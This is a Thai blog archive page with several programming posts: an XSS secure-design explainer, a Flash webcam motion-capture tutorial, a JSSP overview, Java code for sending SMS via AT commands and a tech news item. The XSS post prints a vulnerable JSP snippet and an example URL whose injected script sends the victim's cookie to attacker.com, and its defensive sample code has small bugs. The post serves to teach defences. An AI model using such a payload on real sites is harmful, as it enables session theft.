go to http://oracle.in.th
Showing posts with label phamonyut. Show all posts
Showing posts with label phamonyut. Show all posts

Wednesday, May 5, 2010

Security-driven design #1 - XSS

    เมื่อได้รับมอบหมายงานมาชิ้นหนึ่งเรามักมองแต่ภาพว่าทำอย่างไรให้งานมันออกมาให้ได้จะใช้เทคโนโลยีอะไร? จะใช้เทคนิคไหน? แต่สิ่งที่มักมองข้ามไปคือทำอย่างไรให้งานมันออกมาปลอดภัยต่อผู้ใช้ด้วย เพื่อลดผลกระทบที่จะตามมา ระดับความรุนแรงของผลที่เกิดขึ้นทั้งหมดขึ้นอยู่กับ business logic ที่ผลกระทบวิ่งไปถึง โดยการวิเคราะห์ให้คะแนนความเสี่ยงศึกษาได้จาก http://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
    การมองเรื่องความปลอดภัยของ Web application เป็นเรื่องที่สำคัญ ในมุมนักพัฒนาคงไม่อาจบอกได้ว่ามันมี best pratice ที่จะจัดการทุกประเด็นที่เป็นจุดเสี่ยงจึงอาจบอกได้ว่า no silver bullet แต่ที่จะทำคือพยายามลดจุดอ่อนออกไปให้เหลือน้อยที่สุด และมันคงไม่สามารถทำให้สำเร็จได้ด้วยการให้ความสำคัญเพียงแต่การ coding เพราะถึงมี best pratice ดีแค่ไหนแต่มันก็เป็นเพียงการแก้ไขที่ปลายเหตุ เราควรมองและให้ความสำคัญมันตั้งแต่เริ่มต้นโปรเจค และใส่มันให้เป็นหนึ่งสิ่งที่จะต้องทำให้สำเร็จให้ได้ 
    ถ้าเราให้ความสำคัญกับความปลอดภัยและขับเคลื่อนมันไปตั้งแต่เริ่มโปรเจคก็จะเป็นไปตามภาพดังนี้ (ภาพนี้ไม่ได้ตายตัว ยืดหยุ่นได้ตามสภาพแวดล้อมการทำงาน)
  • Requirement
    • Regulations
    • Industry best practices
    • Business requirement
  • Architecture & Design
    • Architecture Blueprint
      • Application components
      • Entry / Exit points
      • External interface
      • Data flow
    • Threat Modeling
  • Implementation
    • Secure coding practices
  • Testing & Deployment
    • Penetration testing 
    • Security assessment
    • Secure coding practices also involve in the testing stage
  • Operation & Maintenance
    • Security monitoring
    • Recurring assessment
ในปีที่ผ่านมาจุดอ่อนที่มักถูกโจมตีดังนี้ 
  • Injection
  • Cross-Site Scripting (XSS)
  • Broken Authentication and Session Management
  • Insecure Direct Object References
  • Cross-Site Request Forgery (CSRF)
  • Security Misconfiguration
  • Failure to Restrict URL Access
  • Invalidated Redirects and Forwards
  • Insecure Crytographic Storage
  • Insufficient Transport Layer protection
แต่ผมจะพูดถึงจุดอ่อนที่พบกันมากที่สุด

Cross-Site Scripting
เป็นจุดอ่อนที่ส่งผลกระทบต่อผู้ใช้ web application เป็นจุดอ่อนที่เกิดขึ้นจากความไม่รอบคอบในขั้นตอนการ implement ส่งผลให้ผู้ไม่หวังดีสามารถ execute script บน browser ในฝั่งของผู้ใช้ได้ โดย script ดังนี้กล่าวจะถูกฉีคเข้ามาเพื่อไป execute บน browser ฝั่งผู้ใช้
XSS แบ่งได้เป็น 2 ประเภทตามวิธีที่ script ถูกส่งไปให้เหยื่อ
  • Persistent XSS ผู้ไม่ประสงค์ดีสามารถส่ง script เข้าไปใน persistent storage เช่น database, file เมื่อผู้ใช้เข้าหน้าเวบที่ดึงข้อมูลใน persistent storage ดังกล่าวมาแสดง browser ก็จะ execute script นั้นโดยอัตโนมัติ
  • Non-perssitent XSS คือ script ที่เป็นอันตรายไม่ได้ถูกเก็บลงใน web page หรือใน database ผู้โจมตีฉีค script เหล่านี้เข้ามาผ่นทาง URL ได้แล้ว execute script บน browser ของผู้ใช้ทั่วไปได้
ระดับความรุนแรงจะขึ้นอยู่กับ script ที่ผู้โจมตีเขียนขึ้นมาแต่โดยทั่วไปจะถูกกระทำดังนี้
  • ขโมยข้อมูลส่วนตัว เช่น sessionID (cookie) หรือ browser history
  • Redirect ไปยัง website ที่ผู้โจมตีเขียนขึ้นมารอไว้
  • Compromise the operating system หรือ cause the Denial-of-Service (DoS)
  • ใช้ browser ของเหยื่อเป็น backdoor เพื่อเข้าไปโจมตีเครื่องอื่นต่อไป
ตัวอย่าง code ที่มีช่องโหว่
<%
  out.write("Message: " + request.getParameter("msg"));
%>
แล้วผู้ไม่หวังดีก็ใช้ url ลักษณะนี้เพื่อส่ง javascript เข้ามาทาง parameter
http://www.xxx.com/admin/message.jsp?msg=blah<script>document.location='http://www.attacker.com/cookie.cgi?'%20%2Bdocument.cookie</script>
แนวทางการป้องกัน
สามารถป้องกันได้สองวิธีคือ
  1. Output escaping strategy
  2. Input Validation strategy
Note:
Escaping เป็นเทคนิคที่ใช้เพื่อให้แน่ใจว่าข้อมูลผ่านการตรวจสอบแล้ว ไม่ใช่ข้อมูลที่ถูกนำไป interpreter ต่อได้ ซึ่งมีหลายเทคนิค (บางครั้งเราเรียกว่า endoding) โดยมีจุดประสงค์ที่แท้จริงคือเพื่อให้แน่ใจว่าข้อมูลที่ไม่ถูกต้องจะไม่สามารถถูกส่งเข้ามาเพื่อโจมตีได้ 
ตารางข้างล่างเป็นตัวอย่างของตัวอักษรที่ควรจะถูกขัดขวาง
CharacterHTML Named EntityHTML Hexadecimal Entity
&&amp;&#x26;
<&lt;&#x3c;
>&gt;&#x3e;
"&quot;&#x22;
'N/A (&apos; is not recommended)&#x27;
/&sol;&#x2f;
การ escape มีสองวิธีคือ
  • html named entity เป็นตัวอักษรที่สอดคล้องกับชื่อ ที่ซึ่งได้กำหนดไว้ในมาตรฐาน HTML 4 ในรูปแบบ &name;
  • html hexadecimal entity เป็นตัวอักษรที่แสดงเป็นเลขฐาน 16 ในรูปแบบ &#xHHHH;

Output escaping strategy
script ที่เป็นอันตรามักจะถูกฉีคเข้ามายังจุดที่อ่อนแอที่สุดในหน้าเว็บนั้น ซึ่งมันจะมีแตกต่างกันไปตามแต่ละส่วนของ html page ซึ่งจุดดังกล่าวได้แก่
  • html element content
    • จุดอ่อนแอที่อยู่ในส่วนของ HTML body ทั้งหมดเช่น <body>, <div>, <td> ...
  • html common attribute
    • เช่น <div attr=... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ...></div>
  • html javascript data value
    • เช่น <script> alert(' ... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ... ') </script>
  • html style property value
    • เช่น <style> selector{ property: ... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ...} </style>
  • html url parameter value
    • เช่น <a href="http://www.xxx.com?test=... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ..."></a>
ตัวอย่าง escape function
<html>
<body>
<%
  String username = request.getParameter("name");
  out.write("Hello, " + htmlEntityEncode(username));
%>
</body>
</html>
Guideline function input escape
public static String htmlEntityEncode( String s ){
       StringBuilder buf = new StringBuilder(s.length());
       for ( int i = 0; i < len; i++ ){
           char c = s.charAt( i );
           if ( c>='a' && c<='z' || c>='A' && c<='Z' || c>='0' && c<='9' ) {
               buf.append( c );
           }
           else {
               buf.append("&#").append((int)c).append(";");
           }
       }
       return buf.toString();
}
ลองดูแบบอื่นๆ ได้ที่ http://www.owasp.org/index.php/How_to_perform_HTML_entity_encoding_in_Java
หรือตัวอย่างการสร้าง HttpServletRequestWrapper ขึ้นมาเอง  http://www.owasp.org/index.php/How_to_add_validation_logic_to_HttpServletRequest
API อื่นๆ
ตัวอย่างการใช้งาน ESAPI
String safe = ESAPI.encoder().encodeForHTML(request.getParameter("input"));
นอกจากนี้ยังมีอีกวิธีที่ช่วยลดจุดอ่อนลงได้คือการใช้ HTTPOnly cookie flag http://phamonyut.blogspot.com/2010/05/cookie-httponly-flag.html

Input Validation strategy
เป็นการ filter ข้อมูลที่รับเข้ามาจากผู้ใช้งาน ซึ่งการร้บข้อมูลแต่ละจุดจะมีการกำหนดว่ากรอกได้ตาม format อะไรบ้างตาม white-list ที่ออกแบบไว้ และก็มี blacklist ที่บอกว่าข้อมูลแบบไหนที่ไม่ควรนำเข้าระบบ แต่มันก็ไม่ได้ออกแบบไว้ให้เราทั้งหมด ดังนั้นจำเป็นต้องออกแบบเพิ่มเติมกันเองด้วย
กลุ่มข้อมูล input ที่จะเกี่ยวข้องกับ business logic
Field NameData TypeLengthSpecific Requirement
firstnameString1-20a-z, A-Z
lastnameString1-40a-z, A-Z
emailString8-50a-z, A-Z, 0-9, ., @
usernameString6-10a-z, A-Z, 0-9
passwordString8-30a-z, A-Z, 0-9, !, @, #, $
zipInteger50-9
notifyString2-3'Yes', 'No'
guideline function validate firstname ที่ใช้ regex
public boolean validateFirstname() {
boolean allOk = true;
if ("".equals(firstname)) {
  error.put("firstname", "please enter your firstname");
  firstname = "";
  allOk = false;
} else {
  Pattern p = Pattern.compile("^[\da-zA-Z]{1,20}$");
  Matcher m = p.matcher(firstname);
  if (!m.matchers()) {
    errros.put("firstname", "firstname must contains character A-Z, a-z and has length between 1 to 20 only");
    firstname = "";
    allOk = false;
  }
}
return allOk;
}

Credit by Phamonyut
ข้อเขียนนี้ช่วยฉัน:  

Wednesday, September 30, 2009

Part2 Motion Detection: Capture Image

ส่วนนี้ผมจะอธิบายคร่าวๆ ถึงการจับภาพที่ได้จากกล้อง โดยมีคลาสสำคัญที่เกี่ยวข้องได้แก่ Camera, Video, BitmapData
ลำดับการทำงาน (วาดภาพน่าจะเข้าใจง่ายขึ้น...             หรอ)

Part2 Motion Detection: Capture Image
อธิบายคร่าวๆ ก่อนเขียน (สงสัยตรงไหนถามเอาละกันครับ)
  • เริ่มแรกกำหนดตัวแปรที่จะใช้ให้เรียบร้อย
  • สร้างปุ่มเมื่อกดกล้องก็เริ่มทำงาน
  • เมื่อโปรแกรมเริ่มทำงานจะทำการเก็บภาพ ทุกๆ 5 นาทีและทุกครั้งที่มีการเคลื่อนไหว
  • เมื่อเก็บภาพได้นำภาพไปแสดงที่หน้าจอจัดระยะห่างกับวางตำแหน่งให้เรียบร้อย
  • ส่งภาพขึ้นเซิร์ฟเวอร์ (sendMsg function)

จากนั้นลงมือเขียนตามแรงศรัทธา

var cam:Camera = Camera.getCamera();
var vid:Video;
var now:BitmapData;
var listCapture:Array = new Array();

var stageWidth = 440;
var stateHeight = 240;
var vidWidth = 160;
var vidHeight = 120;
var fps = 30;

var activeInterval;
var captureInterval;
var camStatusInterval;
var countImage:int = 0;

var txtStatus:TextField = new TextField();
var txtFormat:TextFormat = new TextFormat();
txtFormat.color = 0xC8C8C8;
txtFormat.size = 10;
txtFormat.font = "Arial";
txtStatus.defaultTextFormat = txtFormat;
txtStatus.x = 0;
txtStatus.y = 0;
txtStatus.width = stageWidth;
txtStatus.height = stateHeight;
txtStatus.type = TextFieldType.DYNAMIC;
txtStatus.selectable=false;
txtStatus.text = "status: ";
addChildAt(txtStatus, 0);

var btnStart:Button = new Button();
btnStart.label = "Start Capture";
btnStart.setSize(120, 30);
btnStart.move(250, 40);
btnStart.toggle = true;
btnStart.addEventListener(MouseEvent.CLICK, startCapture);
addChild(btnStart);

if (cam != null) {
setStatus("camera : " + cam.name);
} else {
setStatus("camera not detect");
}

function startCapture(event:MouseEvent):void {
if (btnStart.selected) {
if (cam != null) {
vid = new Video(vidWidth, vidHeight);
cam.setMode(vidWidth, vidHeight, fps, true);
vid.attachCamera(cam);
cam.addEventListener(StatusEvent.STATUS, camStatusHandler);
cam.addEventListener(ActivityEvent.ACTIVITY, camActivityHandler);
} else {
setStatus("camera not detect");
}
btnStart.label = "capture image: ";
btnStart.enabled = false;
}
}

function camStatusHandler(event:StatusEvent):void {
if (!cam.muted) {
addChildAt(vid, 0);
vid.x = 20;
vid.y = 20;
captureInterval = setInterval(capture, 5 * 60 * 1000);
camStatusInterval = setInterval(camStatus, 1000);
} else {
setStatus("camera has't permission");
Security.showSettings(SecurityPanel.CAMERA)
}
}

function camActivityHandler(event:ActivityEvent):void {
if(cam.muted){
setStatus("camera has't permission");
Security.showSettings(SecurityPanel.CAMERA)
}
if (event.activating) {
activeInterval = setInterval(capture, 500);
}
}

function capture():void {
var captureData:BitmapData = new BitmapData(vidWidth, vidHeight);
captureData.draw(vid);
listCapture.push(addChild(new Bitmap(captureData)));
listCapture[listCapture.length-1].x = 20 + (listCapture.length-1)%5 * vidWidth/2;
listCapture[listCapture.length-1].y = vidHeight + 40;
listCapture[listCapture.length-1].width = vidWidth/2;
listCapture[listCapture.length-1].height = vidHeight/2;
++countImage;
sendMsg(captureData);
clearInterval(activeInterval);
}

function camStatus():void {
setStatus("currentFPS: " + (cam.currentFPS) + "\n");
}

function setStatus(status:String):void {
txtStatus.text = status;
}
จากนั้นรันเลย ช่วงนี้ใครเดินผ่านไปผ่านมาแถวโต๊ะผมเก็บภาพไว้หมดหละ ตัดภาพมาบางส่วนเพื่อไม่ให้กระทบต่อความมั่นคงต่อแหล่งที่มาของภาพ!

Capture
ถ้ารู้สึกวิธีนี้ไม่ยืดหยุ่นพอลองใช้แบบของนายคนนี้ แล้ววัดระดับ sensitive เอาก็ได้ครับ ตอนหน้ามาส่งภาพขึ้นเซิร์ฟเวอร์
ข้อเขียนนี้ช่วยฉัน:  

Friday, September 18, 2009

Part1 Motion Detection: Introduction

หลายวันก่อนถอย kensington lock มาเป็นแบบที่เค้าใช้กันตามร้านทั่วไป หน้าตาประมาณนี้ (ตรงที่ล็อคดูอ่อนแอมาก)



กลับมาบ้านก็ลองทดสอบ (สังเกตุว่าจะเห็นเป็นรอยเล็กน้อย ไม่รู้เป็นรอยที่มีอยู่แ้ล้ว หรือเป็นรอยตอนที่กำลังทดสอบความแข็งแรงด้วยการดึงแรงๆ ดู)


ระหว่างทดสอบลองหาข้อมูลเจ้า kensington lock ดูก็พบว่ามันสามารถแครกได้เหมือนกันนะ -*- ความกังวลเริ่มเข้าเกาะกุมในจิตใจ

เลยเขียนโปรแกรมป้องกันทาง software อีกชั้น (ตามแนวคิดที่ว่าอยากได้ต้องทำเอง) ถึงอาจจะป้องกันอะไรไม่ได้มากนักแต่คิดว่าสนุกแน่ๆ ถ้าได้เขียน เลยกำหนดความต้องการของเราให้เรียบร้อยก่อน เพื่อตั้งกรอบให้ไม่หลงทางด้วยเวลาจำกัดมากช่วงนี้ โดยโปรแกรมที่ว่าเป็นตัวบันทึกภาพ และสิ่งที่มันต้องทำได้คือ
  • สามารถจับภาพได้ตามเวลาที่กำหนด หรือเมื่อมีการเคลื่อนไหวเกิดขึ้น
  • สามารถอัพโหลดภาพขึ้นไปบนเซิร์ฟเวอร์ได้
เมื่อได้ความต้องการที่กระฉับมาแล้ว ก็วาดแบบคร่าวๆ


ต่อมากำหนดเทคโนโลยีที่ใช้ หลังจากหาข้อมูลซักพัก... คิดว่าเขียน actionscript น่าจะเหมาะกับงานลักษณะแบบนี้มากกว่า

โอเคตอนนี้ทุกอย่างพร้อมแล้วตอนหน้าลงมือทำ
ข้อเขียนนี้ช่วยฉัน:  

Tuesday, August 18, 2009

JavaScript Server Page

มันเป็นการรวมความสามารถของ JavaScript และ Java เข้าไว้ด้วยกัน พยายามให้เราเขียนโค้ดง่ายๆ ด้วย syntax JavaScript แต่ทำงานได้อย่างมีประสิทธิภาพแบบ Java โดย JSSP มันเป็น runtime lib ที่สร้าง web page ผ่านทางภาษา JavaScript ที่รันอยู่บน servlet container เช่น Tomcat, JBoss เป็นต้น

เราไม่จำเป็นต้องเข้าใจภาษา Java มันเหมือนกับพวกภาษา PHP, ASP และ JSP เป้าหมายของมันคือสร้าง web application ที่ง่ายแต่มีประสิทธิภาพ และปริมาณโค้ดที่น้อยเพื่อลดความซับซ้อนของโด้ดให้น้อยที่สุด เราสามารถเข้าถึงฐานข้อมูล หรือ java class ได้ผ่านทางโดยตัว JSSP เสมือนกับ RMI

JSSP แบ่งออกเป็น 2 component หลักๆ
  • JSSP web component เป็นส่วนที่ใช้รัน JavaScript บนฝั่ง Server
  • JSSQL component สร้างเพื่อให้ JSSP ใช้ sql query ในการเข้าถึงฐานข้อมูลได้ โดยมันปรับปรุงมาจาก Mozilla Rhino
ข้อดีของการใช้ JavaScript
  • Function language
  • Dynamic language
  • Easy เขียนง่าย
  • Interpreted language เป็นภาษาที่ interpret ไม่จำเป็นต้องผ่านการ compile ก่อนถึงใช้งานได้
  • Dynamic properties สามารถเพิ่มลด attribute, function ได้ในขณะรันไทม์
  • Reuseability ง่ายและยืดหยุ่นในการสืบทอดฟังช์ชั่นที่มีอยู่แล้ว
  • XML ง่ายในการเขียนโปรแกรมจัดการกับเอกสาร xml
ข้อดีของ JSSP
  • Embedded SQL เพิ่มความนสามารถในการติดต่อฐานข้อมูล เข้าไปโดยเราสามารถเขียน sql เพื่อ query ข้อมูลมาแสดงผลได้โดยข้างในมันจะติดต่อฐานข้อมูลผ่านทาง JDBC ให้เอง
  • AJAX รองรับการทำงานแบบ ajax
  • I18N รองรับการทำงานที่ใช้หลายภาษาได้
  • Dervish เป็นเทคโนโลยีที่ใช้สื่อสารกับทางฝั่งเซิร์ฟเวอร์โดยซ่อนการทำงานไว้เบื่อหลัง ช่วยให้เราสามารถเรียกใช้ออปเจคต่างๆ ที่ประกาศไว้ฝั่งเซิร์ฟเวอร์ได้
  • Easy deployment ทุกครั้งที่มีการเปลี่ยนแปลงโค้ด เราไม่จำเป็นต้องรีสตาร์ทเซิร์ฟเวอร์ช่วยลดเวลาที่ไม่จำเป็นออกไป
    Library support มี api รองรับที่เพียงพอต่อการใช้งาน
ข้อจำกัดของ JSSP
JSSP มันไม่ใช่ Framework ดังนั้นคุณจะเห็นโค้ดปนไปด้วยลอจิกทางฝั่งธุรกิจ + โค้ดทางฝั่งแสดงผล มันจึงไม่เหมาะกับแอพพลิเคชันที่มีขนาดใหญ่ๆ แต่มันเหมาะกับแอพพลิเคชันขนาดเล็กถึงขนาดกลางมากกว่า
นอกจากนี้มันยังไม่มีไลบารี่ที่จำเป็นอีกบางอย่าง เช่นการเข้าถึงไฟล์ หรือการเข้าถึง network (คาดว่าน่าจะมาในรุ่นถัดๆ ไป) แต่เราสามารถใช้ Java ไลบารี่ช่วยทำงานในส่วนนี้ไปก่อนได้
และถึงแม้ syntax ของ JSSP จะถูกเขียนด้วยภาษา JavaScript แต่ด้วยความที่มันทำงานบนฝั่งเซิร์ฟเวอร์จึงไม่สามารถใช้งานออปเจคที่ทำงานบนฝั่งไคลแอนด์ได้เช่นออปเจค window หรือ document

ตัวอย่างสวัสดีชาวโลก
<html>
<body>
<% out.print("Hello World!"); %>
</body>
</html>

ตัวอย่างการเข้าถึงฐานข้อมูล
<%
var stmt = connection.SELECT * FROM Employees WHERE Name = ?Name?;
stmt.Name = "Jack";
var rset = stmt.run();
while (rset.next()) {
// do something with the result
}
%>
ด้วยความที่มัน implement ได้ค่อนข้างง่ายจึงมี workflow ของญี่ปุ่นตัวหนึ่งหยิบไปใช้สนใจลองเข้าไปดูได้ intra-mart

ปล. แนวคิดอย่าง JSSP ไม่ใช่เรื่องใหม่แต่อย่างใด แต่มันเป็นสิ่งที่ผมอาจจะต้องหยิบมาใช้เลยมาแชร์ให้รู้กันว่ามันคืออะไร ไว้ถ้ามีเวลาจะมาเขียนต่อว่าที่ JSSP คุยไว้ ใช้งานจริงแล้วเป็นอย่างไร..

อ้างอิง:
ข้อเขียนนี้ช่วยฉัน:  

Friday, August 14, 2009

PC connecting Mobile

ขอแวะเอาเรื่อง Java มาตัดความร้อนแรงของ Oracle ในบล็อกหน่อย ในโพสนี้จะพูดถึงการเชื่อมต่อระหว่าง PC กับอุปกรณ์สื่อสาร โดยอุปกรณ์สื่อสารที่พูดถึงนั้นเป็นไปได้ทั้งมือถือ หรือโมเด็มที่เชื่อมต่ออยู่กับ PC โดยทั่วไปเราจะสื่อสารกันได้ 2 วิธีหลักๆ คือ
  • AT Command
  • API ที่ผู้ผลิตอุปกรณ์แต่ละแห่งพัฒนาขึ้นมา
AT Command เป็น protocol ในชุดของ Telephony Application Programming Interface (TAPI) ที่ Microsoft คิดขึ้นมาเพื่อให้ PC ที่รันภายใต้ Microsoft Windows สามารถสื่อสารกับอุปกรณ์สื่อสารได้ โดย TAPI ก็จะแตกต่างกันไปตามแต่ละ version ของ Microsoft Windows ในปัจจุบัน TAPI อยู่ที version 3.1

การ เชื่อมต่อแบบนี้ Windows จะมองอุปกรณ์สื่อสารของเราเสมือนว่าเป็น modem และใช้ชุดคำสั่ง AT Command ในการสื่อสารกัน เริ่มต้นการสื่อสารเราอาจใช้ HyperTerminal ที่มีใน Microsoft Windows การทดสอบก่อน
  • เริ่มจากเชื่อมต่ออุปกรณ์สื่อสารเข้ากับ PC
  • เปิด program HyperTerminal จากนั้นเลือก port ที่เชื่อมต่ออยู่กับอุปกรณ์สื่อสารให้ถูกต้อง
  • ทดลองพิมพ์คำสั่ง AT ถ้าผลลัพธ์ตอบกลับมา OK แสดงว่าเราเชื่อมต่ออุปกรณ์สื่อสารสำเร็จแล้ว
รายละเอียดของคำสั่ง AT Command ทั้งหมดสามารถหาดูได้จาก website ของผู้ผลิตแต่ละแห่ง เช่นอุปกรณ์สื่อสารที่ผมทำการทดสอบเป็น Nokia Wiki ATCommands
ผู้ผลิตอุปกรณ์แต่ละแห่งก็ implement ชุดคำสั่งไม่เท่ากัน หรือแม้แต่ผู้ผลิตอุปกรณ์แห่งเดียวกันแต่ละรุ่นก็มีชุดคำสั่งไม่เท่ากัน ดังนั้นก่อนที่เราจะใช้งานควรทดสอบก่อนว่าอุปกรณ์นั้นรองรับชุดคำสั่งที่เรา ต้องการหรือไม่ โดยการพิมพ์คำสั่ง AT ตามด้วย +<คำสั่งที่เราจะทดสอบ>=? เช่นถ้าต้องการทดสอบการรับ SMS AT+CMGR=? ถ้าค่าออกมาเป็น OK แสดงว่าอุปกรณ์รองรับคำสั่งนี้ แต่ถ้าออกมาเป็น ERROR แสดงว่าไม่รองรับคำสั่งดังกล่าว

การ สั่งงานควบคุมโดยการใช้ HyperTerminal เป็นวิธีที่ตรงไปตรงมาแต่การใช้งานจริงเราอาจต้องเขียนโปรแกรมเพื่อควบคุม อุปกรณ์สื่อสารอีกที วิธีที่เราจะเขียนโปรแกรมควบคุมอุปกรณ์สื่อสารโดยใช้ AT Command ทำได้หลายวิธีขึ้นอยู่กับ API ของแต่ละภาษา แต่ในตัวอย่างนี้เป็นโปรแกรมที่ใช้ส่ง SMS โดยใช้ภาษา Java เชื่อมต่อกับอุปกรณ์สื่อสารผ่าน Java Communication API

การทำงานของโปรแกรมตัวอย่างนี้เขียนเป็นขั้นตอนได้ดังนี้
  • เชื่อมต่อกับอุปกรณ์สื่อสารโดยเราต้องระบุ port ที่ทำการเชื่อต่อ
  • เมื่อเชื่อมต่อได้สำเร็จจะคุยกันผ่าน Java I/O Stream โดยการส่งคำสั่ง AT Command
class Mobile ที่เป็นถูกออกแบบไว้เป็น utility class เพื่อให้เรียกใช้งานง่ายขึ้น
import java.io.*;
import java.util.*;
import javax.comm.*;
import com.sun.comm.*;

class Mobile {

private static final int RESPONSE_TIMEOUT = 50;
private static final int DEVICE_TIMEOUT = 1000;
private static final String NEWLINE = "\n";
private static final String ENTER = "\r";
private static final String CTRL_Z = "\u001A";
private static final String CONNECTION = "connect";
private InputStream in;
private OutputStream out;

private SerialPort port;
private CommPortIdentifier portID;
public Mobile(String appName, CommPortIdentifier portID) throws IOException, PortInUseException, UnsupportedCommOperationException {
this.portID = portID;
port = (SerialPort) portID.open(appName, DEVICE_TIMEOUT);
port.setSerialPortParams(9600, SerialPort.DATABITS_8, SerialPort.STOPBITS_1, SerialPort.PARITY_NONE);
port.setFlowControlMode(port.FLOWCONTROL_NONE);
in = port.getInputStream();
out = port.getOutputStream();
}

public void close() throws IOException {
in.close();
out.close();
port.close();
}


public static Map listPort() throws IOException {
Map listPort = new Hashtable();
Enumeration portList = CommPortIdentifier.getPortIdentifiers();
while (portList.hasMoreElements()) {
CommPortIdentifier portID = (CommPortIdentifier) portList.nextElement();
listPort.put(portID.getName(), portID);
}
return listPort;
}


public String sendSMS(String tel, String msg) throws IOException, InterruptedException {
String result = null;
sendCommand("AT+CMGF=1");
writeRequest("AT+CMGS=\"" + tel + "\"");
result = sendCommand(msg + CTRL_Z);
return result;
}

public String sendCommand(String cmd) throws IOException, InterruptedException {writeRequest(cmd);
return readResponse();
}

private void writeRequest(String req) throws IOException {
out.write(new String(req + ENTER).getBytes());
out.flush();
}

private String readResponse() throws IOException, InterruptedException {
String strIn = "";
for (int i=0; i 0){
byte[] bb = new byte[numChars];
in.read(bb, 0, numChars);
strIn += new String(bb);
}
if (strIn.indexOf(">" + ENTER + NEWLINE) != -1) {
break;
}
if (strIn.indexOf("OK" + ENTER + NEWLINE) != -1) {
break;
}
if (strIn.indexOf("ERROR") != -1 &&
strIn.indexOf(ENTER + NEWLINE, strIn.indexOf("ERROR") + 1) != -1) {
break;
}
Thread.sleep(100);
}
return strIn;
}
}
class client ที่เป็นตัวเรียกใช้งาน utility class การใช้งานเรียบง่ายแค่ระบุ port ที่จะติดต่อและเรียกคำสั่งส่ง SMS โดยใส่เลขหมายปลายทางและข้อความที่ต้องการส่ง
import java.util.*;
import javax.comm.*;
public class Client {
public static void main(String[] args) throws Exception {
//choose port
Map listPort = Mobile.listPort();
System.out.println(listPort);
Mobile mobile = new Mobile("SMS/GSM Nokia N73", listPort.get("COM12"));
System.out.println(mobile.sendSMS("+66123456789", "Hello World"));
System.out.println("---");
}
}

แน่นอนครับว่านอกจากส่ง sms แล้วยังสามารถทำอย่างอื่นได้อีกถ้าสนใจลองดูได้จากชุดคำสั่ง Nokia Wiki ATCommands

โดยสรุปแล้วการสื่อสารผ่าน AT Command มีข้อดีและข้อเสียดังนี้
  • ข้อ ดีของการสื่อสารกันผ่าน AT Command คือเป็นชุดคำสั่งมาตรฐานที่ให้ผู้ผลิตอุปกรณ์นำไป implement ลงในอุปกรณ์สื่อสารของตัวเอง ดังนั้นเราโปรแกรมที่เขียนจึงไม่ต้องกังวลว่าจะใช้สื่อสารกับอุปกรณ์อื่นไม่ได้
  • ข้อเสียคือเนื่องจาก AT Command เป็นชุดคำสั่งที่ Microsoft เป้นผู้คิดขึ้นมาจึงไม่อาจนำไปใช้ต่างระบบปฏิบัติการได้
ข้อเขียนนี้ช่วยฉัน:  

Tuesday, August 11, 2009

[news] VMWare ซื้อ SpringSource แล้ว

VMWare ซื้อ SpringSource ด้วยราคา 362 ล้านเหรียญสหรัฐบวกด้วยหุ้นอีกจำนวน 58 ล้านเหรียญสหรัฐ การซื้อครั้งนี้ยืนยันได้จากผู้ถือหุ้นของ SpringSource และคาดว่าจะปิดที่ไตรมาสที่สามของปีนี้

SpringSource มี product อยู่ในมือตั้งแต่ application framework ไปจนถึง server ของตัวเอง อีกทั้งยังเป็นผู้ขับเคลื่อนชุมชน Java open source ให้เติบโตขึ้นอย่างทุกวันนี้
ก่อนหน้านั้น SpringSource ได้เข้าซื้อ Hyperic ซึ่งเป็นตัว monitoring และบริหารจัดการตัว application การซื้อในครั้งนั้นเป็นการเพิ่มมูลค่าให้ SpringSource และทำให้ VMware รู้สึกสนใจ SpringSource มากขึ้นเนื่องจาก VMware ไม่มีเครื่องมือบริหารจัดการที่มีประสิทธิภาพ

การรวมกันครั้งนี้ VMware ยังคงสนับสนุน SpringSource ต่อไป และวางอนาคตถึงการเปลี่ยนแปลงใหม่ๆ การพัฒนาการรวม platform เข้าด้วยกัน Platform as a Service (PaaS) เพื่อให้บริการ Datacenter หรือบริการอย่าง cloud computing เป็นต้น
บริการต่างๆ เหล่านี้จะช่วยให้นักพัฒนาสร้าง enterprise และ web application และ run และ จัดการ application เหล่านั้นได้ดียิ่งขึ้น

อ้างอิง:
ข้อเขียนนี้ช่วยฉัน: